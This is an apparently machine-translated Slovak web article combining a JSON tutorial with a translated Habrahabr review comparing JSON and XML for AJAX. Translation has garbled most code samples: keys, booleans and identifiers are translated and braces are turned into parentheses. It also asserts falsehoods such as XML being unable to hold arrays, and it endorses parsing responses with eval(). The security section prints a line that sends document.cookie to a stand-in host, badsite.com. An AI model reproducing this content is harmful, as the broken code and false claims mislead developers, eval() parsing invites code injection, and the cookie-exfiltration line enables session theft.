    Ako je teda zrejmé z príkladov, vo formáte JSON je možné uložiť a preniesť takmer akúkoľvek informáciu.

    JSON (JavaScript Object Notation) je formát prenosu údajov. Ako už názov napovedá, formát je založený na programovacom jazyku JavaScript, ale je dostupný aj v iných jazykoch (Python, Ruby, PHP, Java).

    JSON používa príponu .json. Pri použití v iných formátoch súborov (napríklad .html) je reťazec JSON uvedený v úvodzovkách alebo je priradený k premennej. Tento formát sa ľahko prenáša medzi webovým serverom a klientom alebo prehliadačom.

    Ľahký a ľahko pochopiteľný JSON je skvelou alternatívou k XML.

    Tento tutoriál vám predstaví výhody, objekty, všeobecnú štruktúru a syntax JSON.

    Syntax a štruktúra JSON

    Objekt JSON má tvar kľúč – hodnota a zvyčajne sa píše v zložených zátvorkách. Pri práci s JSON sú všetky objekty uložené v súbore .json, ale môžu existovať aj ako samostatné objekty v kontexte programu.

    Objekt JSON vyzerá takto:

    "first_name" : "John",
    "priezvisko" : "Smith",
    "location" : "Londýn",
    "online" : pravda,
    "nasledovníci": 987

    Toto je veľmi jednoduchý príklad. Objekt JSON môže obsahovať veľa riadkov.

    Ako vidíte, objekt sa skladá z párov kľúč – hodnota, ktoré sú uzavreté v zložených zátvorkách. Väčšina údajov v JSON je zapísaná ako objekty.

    Medzi kľúč a hodnotu je umiestnená dvojbodka. Za každým párom musíte dať čiarku. Výsledkom je:

    "key" : "value", "key" : "value", "key" : "value"

    Kľúč JSON je vľavo. Kľúč musí byť umiestnený v úvodzovkách. Ako kľúč možno použiť akýkoľvek platný reťazec. V rámci jedného objektu musia byť všetky kľúče jedinečné. Kľúč môže obsahovať medzeru („krstné meno“), ale programovanie môže mať problémy s prístupom k takémuto kľúču. Preto je lepšie namiesto medzery použiť podčiarkovník („first_name“).

    Hodnoty JSON sú na pravej strane stĺpca. Ako hodnotu možno použiť akýkoľvek jednoduchý dátový typ:

    • Struny
    • čísla
    • Objekty
    • Polia
    • Booleovské údaje (pravda alebo nepravda)

    Hodnoty môžu byť reprezentované aj komplexnými dátovými typmi (napríklad objekty alebo polia JSON).

    JSON podporuje individuálnu syntax pre každý z vyššie uvedených dátových typov: ak je hodnota reprezentovaná reťazcom, potom bude v úvodzovkách, ale ak ide o číslo, nebude.

    Údaje v súboroch .json sa zvyčajne zapisujú do stĺpca, ale JSON možno zapísať aj do riadku:

    ( "first_name" : "John", "last_name" : "Smith", "online" : true, )

    Takto sa údaje JSON zvyčajne zapisujú do iných typov súborov.

    Zapísaním údajov JSON do stĺpca zlepšíte čitateľnosť súboru (najmä ak je v súbore veľa údajov). JSON ignoruje medzery medzi stĺpcami, takže ich môžete použiť na rozdelenie údajov do spravovateľného počtu stĺpcov.

    "first_name" : "John",
    "priezvisko" : "Smith",
    "online" : pravda

    Všimnite si, že objekty JSON sú veľmi podobné objektom JavaScript, ale nemajú rovnaký formát. Môžete napríklad použiť funkcie v JavaScripte, ale nie v JSON.

    Hlavnou výhodou JSON je, že dáta v tomto formáte sú podporované mnohými populárnymi programovacími jazykmi, takže je možné ich rýchlo prenášať.

    Teraz ste oboznámení so základnou syntaxou JSON. Súbory JSON však môžu mať zložité hierarchické štruktúry, ktoré zahŕňajú vnorené polia a objekty.

    Komplexné typy v JSON

    JSON môže ukladať vnorené objekty a polia, ktoré budú odovzdané ako hodnota kľúča, ktorý je im priradený.

    Vnorené objekty

    Nižšie nájdete príklad – súbor users.json, ktorý obsahuje údaje používateľa. Pre každého užívateľa

    (“john”, “jesse”, “drew”, “jamie”) sa vnorený objekt odovzdá ako hodnota, ktorá sa zase skladá z kľúčov a hodnôt.

    Poznámka: Prvý vnorený objekt JSON je zvýraznený červenou farbou.

    "John" :(
    "username" : "John",
    "location" : "Londýn",
    "online" : pravda,
    "nasledovníci": 987

    "jesse" :(
    "username" : "Jesse",
    "location" : "Washington",
    "online" : nepravda,
    "nasledovníci": 432

    "kreslil" :(
    "username" : "Drew",
    "location" : "Paríž",
    "online" : nepravda,
    "nasledovníci": 321

    "jamie" :(
    "username" : "Jamie",
    "location" : "Berlín",
    "online" : pravda,
    "nasledovníci": 654

    Všimnite si, že zložené zátvorky sa používajú vo vnorenom objekte aj v hlavnom objekte. Čiarky vo vnorených objektoch sa používajú rovnakým spôsobom ako v bežných.

    Vnorené polia

    Dáta môžu byť uzavreté v JSON pomocou polí JavaScript, ktoré budú odovzdané ako hodnoty. JavaScript používa hranaté zátvorky () na začiatku a na konci poľa. Pole je usporiadaná kolekcia údajov, ktorá môže obsahovať rôzne typy údajov.

    Pole sa používa na prenos veľkého množstva údajov, ktoré možno zoskupiť. Skúsme napríklad zaznamenať údaje používateľa.

    {
    "first_name" : "John",
    "priezvisko" : "Smith",
    "location" : "Londýn",
    "webové stránky" : [

    "description" : "práca",
    "URL" : "https://www.johnsmithsite.com/"

    },
    {

    "desciption" : "návody",
    "URL" : "https://www.johnsmithsite.com/tutorials"

    "sociálne médiá" : [

    "description" : "twitter",
    "link" : "https://twitter.com/johnsmith"

    "description" : "facebook",
    "link" : "https://www.facebook.com/johnsmith"

    "description" : "github",
    "link" : "https://github.com/johnsmith"

    Kľúčom „websites“ a „social_media“ sú priradené polia ako hodnoty, ktoré sú umiestnené v hranatých zátvorkách.

    Pomocou vnorených polí a objektov môžete vytvoriť komplexnú hierarchiu údajov.

    JSON alebo XML?

    XML (eXtensible Markup Language) vám umožňuje ukladať údaje vo forme, ktorá je ľahko zrozumiteľná pre ľudí a stroje. Formát XML podporuje veľké množstvo programovacích jazykov.

    XML a JSON majú veľa spoločného. XML však vyžaduje oveľa viac textu, čo znamená, že takéto súbory sú väčšie a ťažšie sa čítajú a zapisujú. Okrem toho sa XML spracováva iba pomocou interpretera XML, zatiaľ čo JSON je možné spracovať pomocou jednoduchej funkcie. Na rozdiel od JSON nemôže XML ukladať polia.

    Porovnajme dva súbory: obsahujú rovnaké údaje, ale prvý je napísaný vo formáte XML a druhý vo formáte JSON.

    users.xml

    John London

    Jesse Washington

    Drew Paris

    Jamie Berlin

    users.json
    ("používatelia": [

    ("používateľské meno" : "Ján", "miesto" : "Londýn"),
    ("používateľské meno" : "Jesse", "miesto" : "Washington"),
    ("používateľské meno" : "Drew", "miesto" : "Paríž"),
    ("používateľské meno" : "JamieMantisShrimp", "umiestnenie" : "Berlín")

    JSON je veľmi kompaktný formát a nevyžaduje toľko značiek ako XML. XML navyše na rozdiel od JSON nepodporuje polia.

    Ak poznáte HTML, všimnete si, že formát XML je mu veľmi podobný (najmä značky). JSON je jednoduchší, vyžaduje menej textu a ľahšie sa používa napríklad v aplikáciách AJAX.

    Samozrejme, formát je potrebné zvoliť v závislosti od potrieb aplikácie.

    Nástroje pre JSON

    JSON sa bežne používa v JavaScripte, ale tento formát je široko používaný v iných programovacích jazykoch.

    Viac informácií o kompatibilite a spracovaní JSON nájdete na webovej stránke projektu a v knižnici jQuery.

    Je zriedkavé písať JSON od začiatku. Údaje sa zvyčajne načítajú zo zdroja alebo sa konvertujú do formátu JSON. Môžete previesť CSV alebo údaje oddelené tabulátormi na JSON pomocou open-source nástroja Mr. Data Converter. Ak chcete previesť XML na JSON a naopak, použite utilities-online.info. Pri práci s automatickými nástrojmi nezabudnite skontrolovať výsledky.

    Súbory JSON (vrátane konvertovaných údajov) je možné skontrolovať pomocou služby JSONLint. Ak chcete otestovať JSON v kontexte vývoja webu, pozrite si JSFiddle.

    Záver

    JSON je jednoduchý a ľahký dátový formát. Súbory JSON sa jednoducho prenášajú, ukladajú a používajú.

    Dnes sa JSON často používa v API.

    • Preklad

    Poznámka: Nižšie je uvedený preklad článku recenzie „JSON vs XML“, venovaný JSON a jeho porovnanie s XML podľa viacerých kritérií. Vydané za účelom popularizácie JSON medzi čitateľmi Habrahabr.

    JSON (JavaScript Object Notation) je formát na výmenu údajov, ktorý ľudia ľahko čítajú, programy ľahko spracúvajú a generujú.

    Na základe podmnožiny jazyka JavaScript, Standard ECMA-262 3. vydanie – december 1999.


    JSON - Wikipedia

    Aký je správny formát odpovede pre XMLHttpRequest v aplikáciách AJAX? Pre väčšinu aplikácií založených na značkovaní je odpoveď jednoduchá – (X)HTML. Pre informačne orientované aplikácie bude výber medzi XML a JSON. Až donedávna som sa veľmi nečudoval, čo je lepšie použiť, či XML alebo JSON. Jednoducho som predpokladal, že v každom konkrétnom prípade stojí za to vybrať najvhodnejší formát, to je všetko. No nedávno som mal možnosť otestovať tento prístup v praxi. V tomto príspevku popíšem kritériá, podľa ktorých som porovnával XML a JSON, a svoje vlastné závery.

    Kritériá sú teda nasledovné.

    • Čitateľnosť kódu.
    • Jednoduchosť vytvárania dátového objektu na strane servera.
    • Jednoduché spracovanie dát na strane klienta.
    • Jednoduché rozšírenie.
    • Ladenie a oprava chýb.
    • Bezpečnosť.
    Čitateľnosť kódu

    Osoba osoba = nová osoba(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); spisovatel.zapis(JSONObjekt.zObjektu(osoba).doStringu());

    Keď uvažujeme o fungovaní takýchto programovacích rozhraní, vytváranie JSON sa príliš nelíši od serializácie Java beans do objektov. Je však potrebné poznamenať, že v súčasnosti existuje oveľa viac spôsobov generovania XML ako JSON. Niektoré z týchto XML API existujú už mnoho rokov a z tohto dôvodu môžu byť stabilnejšie, keď sa používajú pre zložité aplikácie.

    Ďalším aspektom, ktorý treba zvážiť, bude množstvo zdrojov, ktoré sa použijú na generovanie odpovede. Ak sa pri prijímaní údajov už vykonávajú „ťažké“ operácie, potom nebude pre serverovú časť ťažké ich dodatočne previesť na XML, aby mohla odpovedať. Ak je vytváranie XML najnáročnejšia operácia, potom je lepšie použiť JSON.

    Jednoduchosť použitia

    Na strane klienta je spracovanie údajov JSON ako odpovede na požiadavku XMLHttpRequest mimoriadne jednoduché.

    Var osoba = eval(xhr.responseText); alert(person.firstName);

    Pomocou bežného eval() môžete previesť odpoveď na objekt JavaScript. Po dokončení tejto operácie je možné pristupovať k údajom pomocou vlastností konvertovaného objektu. Toto je najelegantnejšia časť všetkých JSON.

    Teraz sa pozrime na XML. Aby bol úryvok kódu nižšie prehľadnejší, odstránil som všetku kontrolu chýb.

    "krstné meno");

    Je zrejmé, že pri spracovávaní údajov prijatých zo servera je potrebné prezrieť si celý DOM strom. Je to veľmi náročná operácia a je náchylná na chyby. Bohužiaľ, v prehliadači musíme riešiť DOM. Prehliadače nepodporujú dopytovací jazyk ako XPath na získavanie uzlov stromu v dokumente XML. Podpora týchto funkcií sa už vzťahuje na XSLT, ale je dosť obmedzená ( poznámka: v prehliadači), pokiaľ ide o konverziu XML na značky (napríklad HTML). Pracovná skupina pre webové rozhrania ( Pracovná skupina pre webové rozhranie API) od W3C pracuje na rozhraní výberu ( Selektory API), ktorý možno použiť na použitie selektorov CSS pri výbere uzlov z objektu dokumentu. Pomocou takéhoto rozhrania by bolo možné transformovať vyššie uvedený príklad kódu na xml.match("person.firstName"), aby sme získali prvok firstName. V tomto príklade to nie je veľký úspech pre dokument XML, ale môže byť užitočný pri práci s vysoko rozvetvenými dokumentmi. Toto rozhranie ešte nie je dokončené a bude trvať roky, kým ho prehliadače podporia.

    Vo všeobecnosti, ak si mám vybrať medzi XML a JSON, uprednostním JSON kvôli jednoduchosti implementácie spracovania na strane klienta.

    Rozšíriteľnosť

    Rozšíriteľnosť pomáha znižovať počet komunikácií medzi poskytovateľom údajov a príjemcom. V kontexte aplikácií AJAX musí byť skript na strane klienta dostatočne invariantný vzhľadom na kompatibilné zmeny v údajoch.

    Všeobecné presvedčenie je, že XML je automaticky rozšíriteľné jednoducho na základe prítomnosti písmena „X“. Nie je to však bezpodmienečné pravidlo (t. j. konať štandardne). Rozšíriteľnosť XML je založená na princípe, že vo svojom XML môžete definovať ďalšie uzly a potom použiť pravidlo „preskočiť to, čo nie je potrebné“ (t. j. ak pri spracovaní XML narazíte na neznámy prvok alebo atribút, jednoducho ho preskočte).

    Ak chcete naplno využiť výhody rozšíriteľnosti, musíte napísať kód na strane klienta s ohľadom na rozšíriteľnosť. Napríklad nasledujúci príklad sa rozpadne, ak chcete vložiť napríklad prvok middleName.

    Var xml = xhr.responseXML; var elements = xml.getElementsByTagName("firstName"); var firstNameEl = elements[0]; var lastNameEl = FirstNameEl.nextSibling;

    Ak vložíte prvok bezprostredne za prvok, tento príklad spôsobí, že stredné meno bude nesprávne interpretované ako priezvisko. Aby bola táto zmena invariantná, kód je potrebné prepísať, aby sa prvok explicitne získal, alebo prístup k nextSibling len vtedy, ak sa nájde dieťa s požadovaným tagName. XML je teda rozšíriteľné, pokiaľ kód píšete s ohľadom na budúcu rozšíriteľnosť. Všetko je mimoriadne jednoduché.

    Vráťme sa k JSON. Tvrdím, že je jednoduchšie rozšíriť údaje JSON ako XML. To si nepochybne vyžaduje menšie úsilie. Zvážme pridanie vlastnosti middleName do odpovede JSON. Aby ste k nemu mali prístup, stačí naň zavolať.

    Alert(person.middleName);

    Tento kód sa nezmení, ak do odpovede pridáte druhé meno. Čo však robiť v prípade spracovania osoby s alebo bez stredného mena? S JSON je to jednoduché.

    if (person.middleName) ( // Spracúva sa )

    Môj postoj je taký, že ak sa nezabúda na možnú budúcu rozšíriteľnosť, dáta XML aj JSON sa dajú rozšíriť. Rozšírenie údajov pomocou JSON je však jednoduchšie ako pomocou XML. Jednoducho musíte skontrolovať, či požadovaná vlastnosť na objekte existuje a konať podľa výsledku kontroly.

    Ďalšou možnosťou rozšírenia údajov JSON je použitie volaní funkcií spolu s deklaráciami údajov priamo v odpovedi.

    Alert("Ahoj - som osoba"); (("meno" : "Subbu", "priezvisko": "Allamaraju"));

    Keď sú údaje deklarované prostredníctvom eval() , prehliadač tiež zavolá výraz alert(). V tomto prípade môžete načítať údaje aj vykonávať funkcie. Tento prístup by sa mal používať s veľkou opatrnosťou, pretože zahlcuje odpoveď volaniami funkcií a vytvára spojenie medzi volaniami a údajmi. Niektoré zdroje diskutujú aj o potenciálnych bezpečnostných slabinách tohto prístupu, ktoré sú podrobnejšie rozoberané nižšie.

    Ladenie a oprava chýb

    Tento aspekt sa vzťahuje na serverovú stranu vašej aplikácie aj na stranu klienta. Na serveri sa musíte uistiť, že údaje sú správne vytvorené a správne. Odladenie chýb v odpovedi na strane klienta by malo byť jednoduché.

    Pomocou XML je pomerne jednoduché overiť, či sú údaje odoslané klientovi správne sformované a správne. Pre svoje údaje môžete použiť schému a použiť ju na overenie údajov. S JSON sa táto úloha stáva manuálnou a vyžaduje kontrolu, či má výsledný objekt správne atribúty.

    Na strane klienta je v oboch prípadoch ťažké odhaliť chyby. V prípade XML ho prehliadač jednoducho nebude môcť previesť na responseXML. Pre malé množstvo údajov JSON môžete použiť rozšírenie FireBug na ladenie a opravu chýb. Ale s veľkým množstvom údajov je trochu ťažké dať do súladu chybové hlásenie s konkrétnym umiestnením v kóde.

    Bezpečnosť

    Dave Johnson vo svojom príspevku JSON and the Golden Fleece naznačuje, že JSON môže spôsobiť bezpečnostné problémy. Podstatou poznámky je, že ak povolíte vkladanie volaní funkcií spolu s údajmi do odpovedí JSON a použijete eval() na spracovanie odpovede, potom spustíte svojvoľný kód, ktorý v skutočnosti už môže obsahovať bezpečnostné riziko.

    Window.location = "http://badsite.com?" + dokument.cookie; osoba: ( "firstName" : "Subbu", "priezvisko" : "Allamaraju" )

    Ak sa vykoná odpoveď vo vyššie uvedenom príklade, prehliadač odošle súbory cookie používateľa na stránku tretej strany. V tomto prípade je však v definícii bezpečnostnej hrozby určitý zmätok. Nemali by ste dôverovať údajom alebo kódu získanému z neovereného zdroja. A po druhé, nebudeme môcť použiť XMLHttpRequest na komunikáciu s inými doménami ako je zdrojová doména skriptu. Takže iba samotní vývojári môžu pri vytváraní aplikácie iniciovať odosielanie cookies na stránky tretej strany. To je dosť pochybné, pretože by mohli rovnako ľahko umiestniť tento škodlivý kód kdekoľvek v dokumente mimo údajovej odpovede odoslanej zo servera. Možno mi niečo uniká, ale nevidím zmysel považovať JSON za nebezpečný v porovnaní s XML.

    Moja voľba

    Pre informačne orientované aplikácie by som preferoval používanie JSON pred XML kvôli jeho jednoduchosti a ľahkému spracovaniu údajov na strane klienta. XML môže byť nevyhnutné na serveri, ale s JSON je určite jednoduchšie pracovať na klientovi.



     

    Môže byť užitočné prečítať si: